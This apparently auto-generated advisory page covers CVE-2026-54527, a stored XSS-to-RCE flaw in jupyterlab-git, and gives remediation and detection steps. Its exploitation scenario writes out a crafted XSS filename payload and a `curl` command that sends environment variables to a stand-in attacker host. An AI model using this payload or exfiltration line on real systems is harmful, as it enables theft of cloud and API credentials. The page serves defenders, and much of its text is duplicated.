CVE-2026-54527: Jupyter stored XSS escalates to

Q: Is CVE-2026-54527 actively exploited?

No confirmed active exploitation of CVE-2026-54527 has been reported, but organizations should still patch proactively.

Q: How to fix CVE-2026-54527?

1. Patch immediately: upgrade jupyterlab-git to 0.54.0 (pip: `pip install --upgrade jupyterlab-git`; npm: `npm install @jupyterlab/git@0.54.0`). 2. Inventory: audit all JupyterLab deployments (JupyterHub, SageMaker Studio, Vertex AI Workbench, Azure ML) for affected versions using `pip show jupyterlab-git` or `jupyter labextension list`. 3. Workaround if patching is delayed: disable or uninstall the jupyterlab-git extension; restrict shared repository commit access to verified contributors only. 4. Detection: monitor for unusual POST requests to `/api/terminals` and unexpected WebSocket connections originating from JupyterLab browser sessions; audit terminal process history for anomalous commands post-rename-diff interactions. 5. Credential rotation: if exploitation is suspected, immediately rotate all secrets accessible from affected JupyterLab environments including cloud IAM credentials, LLM API keys, and database passwords.

Q: What systems are affected by CVE-2026-54527?

This vulnerability affects the following AI/ML architecture patterns: Collaborative ML development environments, JupyterHub multi-user platforms, Managed notebook services (SageMaker Studio, Vertex AI Workbench, Azure ML), Jupyter-based MLOps and training pipelines, AI research compute clusters.

Q: What is the CVSS score for CVE-2026-54527?

No CVSS score has been assigned yet.

CISO Take

A stored XSS vulnerability in the jupyterlab-git extension allows any contributor with commit access to a shared repository to achieve remote code execution in a victim's JupyterLab environment — requiring only that the victim views a rename diff in the Git History tab. This matters because JupyterLab is the de facto development surface for AI/ML teams and routinely runs with cloud provider credentials, LLM API keys, and training datasets in its environment; successful exploitation delivers a full interactive shell via WebSocket with no additional privilege escalation required. With 1,874 downstream dependents, a history of 23 prior CVEs in this package, and an OpenSSF Scorecard of only 5.8/10, this is a systemic risk for collaborative ML platforms rather than an edge case. Upgrade jupyterlab-git to 0.54.0 immediately; teams that cannot patch should disable the extension or lock down shared repository commit access until remediation is complete.

Sources: GitHub Advisory NVD ATLAS OpenSSF

What is the risk?

High. The XSS-to-RCE escalation path is fully documented and reliable — the createHeader() method passes git filenames directly to innerHTML with no sanitization, and JupyterLab's terminal API provides a straightforward pivot to shell execution using the existing XSRF cookie. Exploitation requires commit access to a shared repository, which is a realistic condition in AI/ML teams using GitHub, GitLab, or internal Gitea for collaborative notebook development. The attack is stealthy: the payload is embedded in a filename visible in normal git history, and activation requires only routine UI navigation rather than a suspicious user action. The blast radius is substantial given 1,874 downstream dependents and the credential-rich nature of JupyterLab environments running ML workloads.

How does the attack unfold?

Payload Staging

Adversary crafts a Python file with a malicious XSS filename containing a base64-encoded JavaScript payload, then renames it in a subsequent commit and pushes both commits to a shared ML repository.

AML.T0010.001

User Execution Trigger

Victim navigates to the JupyterLab Git History tab and clicks the rename commit to inspect the diff, causing createHeader() to assign the unsanitized filename to innerHTML and execute the injected JavaScript.

AML.T0011

Browser-to-Server RCE

Injected JavaScript reads the XSRF cookie, POSTs to /api/terminals to spawn a server-side shell, and connects via WebSocket to execute arbitrary commands as the JupyterLab server process.

AML.T0050

Credential Exfiltration

Shell access is used to read environment variables containing cloud credentials and LLM API keys, which are exfiltrated via HTTP to an adversary-controlled endpoint.

AML.T0025

Payload Staging

Adversary crafts a Python file with a malicious XSS filename containing a base64-encoded JavaScript payload, then renames it in a subsequent commit and pushes both commits to a shared ML repository.

AML.T0010.001

User Execution Trigger

Victim navigates to the JupyterLab Git History tab and clicks the rename commit to inspect the diff, causing createHeader() to assign the unsanitized filename to innerHTML and execute the injected JavaScript.

AML.T0011

Browser-to-Server RCE

Injected JavaScript reads the XSRF cookie, POSTs to /api/terminals to spawn a server-side shell, and connects via WebSocket to execute arbitrary commands as the JupyterLab server process.

AML.T0050

Credential Exfiltration

Shell access is used to read environment variables containing cloud credentials and LLM API keys, which are exfiltrated via HTTP to an adversary-controlled endpoint.

AML.T0025

What systems are affected?

Package	Ecosystem	Vulnerable Range	Patched
Jupyter	npm	>= 0.30.0b3, < 0.54.0-a1	`0.54.0`
13.3K OpenSSF 5.8 1.9K dependents Pushed 6d ago 56% patched ~28d to patch Full package profile →
Jupyter	pip	>= 0.30.0b3, < 0.54.0a1	`0.54.0`
13.3K OpenSSF 5.8 1.9K dependents Pushed 6d ago 56% patched ~28d to patch Full package profile →
Jupyter	pip	>= 0.30.0b3, < 0.54.0a1	`0.54.0`
13.3K OpenSSF 5.8 1.9K dependents Pushed 6d ago 56% patched ~28d to patch Full package profile →

How severe is it?

CVSS 3.1

N/A

EPSS

0.4%

chance of exploitation in 30 days

Higher than 29% of all CVEs

Source: EPSS v3 — FIRST.org

Exploitation Status

Exploit Available

Exploitation: MEDIUM

Sophistication

Moderate

Exploitation Confidence

medium

○ CISA SSVC: Public PoC

Composite signal derived from CISA KEV, VulnCheck KEV, CISA SSVC, EPSS, Metasploit, Exploit-DB, trickest/cve, Nuclei templates, and inthewild.io exploitation reports.

What should I do?

5 steps

Patch immediately: upgrade jupyterlab-git to 0.54.0 (pip: pip install --upgrade jupyterlab-git; npm: npm install @jupyterlab/git@0.54.0).
Inventory: audit all JupyterLab deployments (JupyterHub, SageMaker Studio, Vertex AI Workbench, Azure ML) for affected versions using pip show jupyterlab-git or jupyter labextension list.
Workaround if patching is delayed: disable or uninstall the jupyterlab-git extension; restrict shared repository commit access to verified contributors only.
Detection: monitor for unusual POST requests to /api/terminals and unexpected WebSocket connections originating from JupyterLab browser sessions; audit terminal process history for anomalous commands post-rename-diff interactions.
Credential rotation: if exploitation is suspected, immediately rotate all secrets accessible from affected JupyterLab environments including cloud IAM credentials, LLM API keys, and database passwords.

What does CISA's SSVC say?

Decision Track*

Exploitation poc

Automatable No

Technical Impact partial

Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.

How is it classified?

Code Execution Data Extraction Auth Bypass Plugin Framework AML.T0011 - User Execution AML.T0025 - Exfiltration via Cyber Means AML.T0049 - Exploit Public-Facing Application AML.T0050 - Command and Scripting Interpreter AML.T0055 - Unsecured Credentials AML.T0072 - Reverse Shell

Which compliance frameworks are affected?

This CVE is relevant to:

EU AI Act

Article 9 - Risk Management System

ISO 42001

A.6.1.3 - AI system supply chain risk management

NIST AI RMF

MANAGE 2.2 - Risk Tracking for Deployed AI Systems

OWASP LLM Top 10

LLM05:2025 - Insecure Plugin Design

Frequently Asked Questions

What is CVE-2026-54527?

A stored XSS vulnerability in the jupyterlab-git extension allows any contributor with commit access to a shared repository to achieve remote code execution in a victim's JupyterLab environment — requiring only that the victim views a rename diff in the Git History tab. This matters because JupyterLab is the de facto development surface for AI/ML teams and routinely runs with cloud provider credentials, LLM API keys, and training datasets in its environment; successful exploitation delivers a full interactive shell via WebSocket with no additional privilege escalation required. With 1,874 downstream dependents, a history of 23 prior CVEs in this package, and an OpenSSF Scorecard of only 5.8/10, this is a systemic risk for collaborative ML platforms rather than an edge case. Upgrade jupyterlab-git to 0.54.0 immediately; teams that cannot patch should disable the extension or lock down shared repository commit access until remediation is complete.

Is CVE-2026-54527 actively exploited?

No confirmed active exploitation of CVE-2026-54527 has been reported, but organizations should still patch proactively.

How to fix CVE-2026-54527?

1. Patch immediately: upgrade jupyterlab-git to 0.54.0 (pip: `pip install --upgrade jupyterlab-git`; npm: `npm install @jupyterlab/git@0.54.0`). 2. Inventory: audit all JupyterLab deployments (JupyterHub, SageMaker Studio, Vertex AI Workbench, Azure ML) for affected versions using `pip show jupyterlab-git` or `jupyter labextension list`. 3. Workaround if patching is delayed: disable or uninstall the jupyterlab-git extension; restrict shared repository commit access to verified contributors only. 4. Detection: monitor for unusual POST requests to `/api/terminals` and unexpected WebSocket connections originating from JupyterLab browser sessions; audit terminal process history for anomalous commands post-rename-diff interactions. 5. Credential rotation: if exploitation is suspected, immediately rotate all secrets accessible from affected JupyterLab environments including cloud IAM credentials, LLM API keys, and database passwords.

What systems are affected by CVE-2026-54527?

This vulnerability affects the following AI/ML architecture patterns: Collaborative ML development environments, JupyterHub multi-user platforms, Managed notebook services (SageMaker Studio, Vertex AI Workbench, Azure ML), Jupyter-based MLOps and training pipelines, AI research compute clusters.

What is the CVSS score for CVE-2026-54527?

No CVSS score has been assigned yet.

What is the AI security impact?

Affected AI Architectures

Collaborative ML development environmentsJupyterHub multi-user platformsManaged notebook services (SageMaker Studio, Vertex AI Workbench, Azure ML)Jupyter-based MLOps and training pipelinesAI research compute clusters

MITRE ATLAS Techniques

AML.T0011 User Execution

AML.T0025 Exfiltration via Cyber Means

AML.T0049 Exploit Public-Facing Application

AML.T0050 Command and Scripting Interpreter

AML.T0055 Unsecured Credentials

AML.T0072 Reverse Shell

Compliance Controls Affected

EU AI Act: Article 9

ISO 42001: A.6.1.3

NIST AI RMF: MANAGE 2.2

OWASP LLM Top 10: LLM05:2025

What are the technical details?

Original Advisory

JupyterLab Git is a Git extension for JupyterLab. From 0.30.0b3 before 0.54.0, the PlainTextDiff.ts createHeader() method passes Git filenames directly to innerHTML when rendering renamed files in commit history, allowing a crafted filename to execute JavaScript when a victim views the rename diff in the Git History tab. This issue is fixed in version 0.54.0.

Exploitation Scenario

A threat actor gains contributor access to a shared ML repository — through a compromised developer account, insider threat, or a third-party integration with write access. The actor creates a Python file named `<img src=x onerror=eval(atob('BASE64_PAYLOAD'))>.py`, where the base64-encoded payload contains JavaScript that reads the XSRF cookie, POSTs to `/api/terminals` to spawn a server-side shell, connects via WebSocket, and executes `env | curl -d @- https://attacker.io/collect` to silently exfiltrate environment variables. After renaming the file in a subsequent commit and pushing, the actor waits. When a data scientist reviews recent commits in the Git History tab and clicks the rename entry to inspect the diff, the unsanitized filename fires via innerHTML — exfiltrating AWS credentials, OpenAI API keys, and any other secrets in the environment before the victim notices anything unusual. The entire post-trigger chain runs in the background within the legitimate browser session.

Weaknesses (CWE)

CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') Primary CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')

CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.

[Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
[Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca

Source: MITRE CWE corpus.